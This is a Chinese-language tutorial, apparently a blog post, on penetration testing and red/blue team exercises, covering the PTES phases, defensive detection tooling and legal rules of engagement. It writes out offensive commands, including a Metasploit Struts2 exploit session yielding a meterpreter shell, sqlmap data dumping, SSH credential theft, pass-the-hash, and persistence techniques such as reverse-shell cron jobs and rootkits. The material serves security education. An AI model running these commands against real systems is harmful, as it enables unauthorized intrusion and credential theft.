渗透测试和红蓝对抗是验证组织安全防护有效性的核心手段。渗透测试发现可被利用的漏洞,红蓝对抗则模拟真实攻击者检验整体防御能力。本文系统讲解渗透测试方法论和红蓝对抗实践。
1. 渗透测试方法论(PTES)
1.1 渗透测试执行标准(7 阶段)
┌─────────────────────────────────────────────────────────────┐
│ PTES (Penetration Testing Execution Standard) │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. 前期交互 确定范围、规则、目标 │
│ 2. 情报收集 被动/主动信息收集 │
│ 3. 威胁建模 识别高价值目标与攻击路径 │
│ 4. 漏洞分析 扫描、验证、排序 │
│ 5. 漏洞利用 获取初始访问权限 │
│ 6. 后渗透 权限提升、横向移动、持久化 │
│ 7. 报告 风险评级、修复建议 │
│ │
└─────────────────────────────────────────────────────────────┘
1.2 测试类型对比
| 类型 | 知情度 | 范围 | 目的 | 时长 |
|---|---|---|---|---|
| 黑盒 | 无信息 | 全量 | 模拟外部攻击者 | 2-4 周 |
| 灰盒 | 有限信息 | 指定 | 模拟有内鬼/泄露 | 1-3 周 |
| 白盒 | 完整信息 | 代码级 | 深度审计 | 1-4 周 |
2. 情报收集(Reconnaissance)
2.1 被动信息收集
# 域名与子域枚举
subfinder -d example.com -o domains.txt
amass enum -d example.com -o amass.txt
# DNS 记录
dig ANY example.com
host -t ns example.com
# 证书透明度日志
curl -s "https://crt.sh/?q=%.example.com&output=json" | jq .
# WHOIS
whois example.com
# 开源情报(OSINT)
# - GitHub 泄露扫描(truffleHog/gitleaks)
# - 社交媒体员工信息
# - 历史漏洞披露(CVE/Exploit-DB)
2.2 主动信息收集
# 端口扫描
nmap -sS -sV -O -p- --script vuln target.com
# Web 目录枚举
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
# 技术栈识别
whatweb https://target.com
wappalyzer https://target.com
# 截图(大量目标)
eyewitness --web -f urls.txt -d screenshots
3. 漏洞利用
3.1 漏洞扫描
# 综合扫描
nuclei -l targets.txt -t cves/ -o nuclei-results.txt
# Web 漏洞
nikto -h https://target.com
skipfish -o skipfish_results https://target.com
# API 安全测试
postman collection + fuzzing
burp suite active scan
3.2 Metasploit 框架
# 搜索漏洞
msf6 > search type:exploit name:apache
# 使用 exploit
msf6 > use exploit/multi/http/struts2_content_type_ognl
msf6 exploit(struts2_content_type_ognl) > set RHOSTS 192.168.1.10
msf6 exploit(struts2_content_type_ognl) > set RPORT 8080
msf6 exploit(struts2_content_type_ognl) > set TARGETURI /test.action
msf6 exploit(struts2_content_type_ognl) > exploit
# 获取 meterpreter shell
meterpreter > sysinfo
meterpreter > getuid
meterpreter > ls
3.3 Web 应用利用
# SQLMap 自动化 SQL 注入
sqlmap -u "https://target.com/product?id=1" --dump --batch
# XSStrike XSS 检测
python xsstrike.py -u "https://target.com/search?q=test"
# 常用工具链
# Burp Suite: 拦截、重放、爆破
# OWASP ZAP: 自动扫描、主动/被动扫描
# FFUF: 快速模糊测试
4. 后渗透(Post-Exploitation)
4.1 权限提升
# Linux 本地枚举
linpeas.sh
# 检查:
# - SUID 文件
# - 内核漏洞
# - sudo 配置
# - 计划任务
# - 环境变量劫持
# - 可写路径
# 常见提权向量
find / -perm -4000 2>/dev/null # SUID 文件
sudo -l # sudo 权限
uname -r # 内核版本
ls -la /etc/cron* # 计划任务
# Windows
winPEAS.exe
# PowerUp.ps1
# JuicyPotato/PrintSpoofer (Service 账户提权)
4.2 横向移动
# 网络发现
meterpreter > run post/multi/gather/ping_sweep RHOSTS=192.168.1.0/24
# Pass-the-Hash (Windows)
sekurlsa::pth /user:admin /domain:target /ntlm:hash
# SSH 密钥窃取
meterpreter > run post/multi/gather/ssh_creds
# 远程桌面
meterpreter > run post/windows/manage/enable_rdp
4.3 持久化
# Linux 持久化
# - crontab 反弹 shell
# - SSH authorized_keys
# - .bashrc 后门
# - systemd service
# - LD_PRELOAD rootkit
# Windows 持久化
# - 注册表 Run 键
# - WMI 事件订阅
# - 计划任务
# - 服务创建
# - ADS (Alternate Data Streams)
# Cobalt Strike 持久化
# - beacon 植入
# - DLL hijacking
# - COM hijacking
5. 红蓝对抗(Red Team vs Blue Team)
5.1 区别
| 维度 | 渗透测试 | 红蓝对抗 |
|---|---|---|
| 目标 | 发现漏洞 | 检验检测与响应能力 |
| 范围 | 限定 | 不限定(模拟真实 APT) |
| 隐蔽性 | 可被发现 | 尽量不被发现 |
| 报告 | 漏洞清单 | 检测盲区、响应时间 |
| 持续性 | 短期项目 | 长期持续(数周/月) |
5.2 红队流程
阶段1: 初始访问
- 钓鱼邮件
- 水坑攻击
- 供应链攻击
- 公开服务利用
阶段2: 建立据点(C2)
- DNS隧道
- HTTPS C2(域前置)
- 合法云服务(Slack/Discord/...)通信
阶段3: 潜伏与收集
- 权限维持
- 内网侦察
- 凭证收集
阶段4: 目标达成
- 敏感数据窃取
- 勒索软件模拟
- 关键系统破坏(模拟)
5.3 Cobalt Strike
Cobalt Strike 模块:
- Listener: HTTP/HTTPS/DNS/SMB/TCP
- Payload: Stage/Stageless, x86/x64
- Beacon: 核心 C2 Agent
- Malleable C2: 自定义通信特征(伪装为正常流量)
- Aggressor Scripts: 自动化脚本
5.4 蓝队检测与响应
检测体系:
网络层 ──► IDS/IPS(Suricata/Zeek)
│ └── 规则检测已知攻击模式
│
终端层 ──► EDR(CrowdStrike/SentinelOne/Carbon Black)
│ └── 进程行为分析、内存注入检测
│
日志层 ──► SIEM(Splunk/ELK/QRadar/Sentinel)
│ └── 关联分析、异常检测、威胁情报
│
身份层 ──► IAM 监控(Azure AD/DCA)
└── 登录异常、权限滥用
5.5 蓝队关键能力
| 能力 | 工具/方法 |
|---|---|
| 威胁狩猎 | MITRE ATT&CK 框架映射、假设驱动搜索 |
| 日志分析 | KQL/SPL 高级查询 |
| 内存取证 | Volatility / Rekall |
| 网络流量分析 | Wireshark / Zeek / NetworkMiner |
| 事件响应 | NIST 800-61 标准流程 |
| 威胁情报 | IOC 共享、ATT&CK 知识库 |
6. 紫队(Purple Teaming)
紫队 = 红队 + 蓝队协作
目标:
- 红队展示攻击技术
- 蓝队验证检测能力
- 共同改进防御
流程:
1. 红队执行 TTP(战术/技术/流程)
2. 蓝队实时观察检测效果
3. 未检测到的 → 立即改进检测规则
4. 已检测到的 → 优化响应流程
5. 循环迭代
MITRE ATT&CK 框架作为共同语言:
- T1566.001: Spearphishing Attachment
- T1059.003: Windows Command Shell
- T1003.001: LSASS Memory
7. 合法渗透测试要点
7.1 ROE(规则交战)
必须明确定义:
✅ 授权书(书面授权,明确范围)
✅ 目标 IP/域名范围
✅ 测试时间窗口
✅ 可以/不可以做什么
✅ 破坏性测试的限制
✅ 数据处理和保密要求
✅ 紧急联系人和上报流程
7.2 道德与法律
| 行为 | 合法性 |
|---|---|
| 有授权的渗透测试 | ✅ 合法 |
| 无授权扫描 | ⚠️ 可能违法(CFAA/网络安全法) |
| 无授权漏洞利用 | ❌ 违法 |
| 发现漏洞后勒索 | ❌ 违法 |
8. 总结
渗透测试与红蓝对抗的价值:
安全测试层次:
漏洞扫描(自动化)
↓
渗透测试(人工+工具,发现可利用漏洞)
↓
红蓝对抗(检验检测与响应体系)
↓
紫队(协作改进防御能力)
┌─────────────────────────────────────────┐
│ 红色(攻击) + 蓝色(防御) → 紫色(协作) │
└─────────────────────────────────────────┘
安全不是静态的。攻击者在不断进化,防御者必须通过持续的测试和演练保持领先。MITRE ATT&CK 框架提供了攻守双方的共同语言,帮助组织系统化地评估和提升安全能力。
继续阅读
探索更多技术文章
浏览归档,发现更多关于系统设计、工具链和工程实践的内容。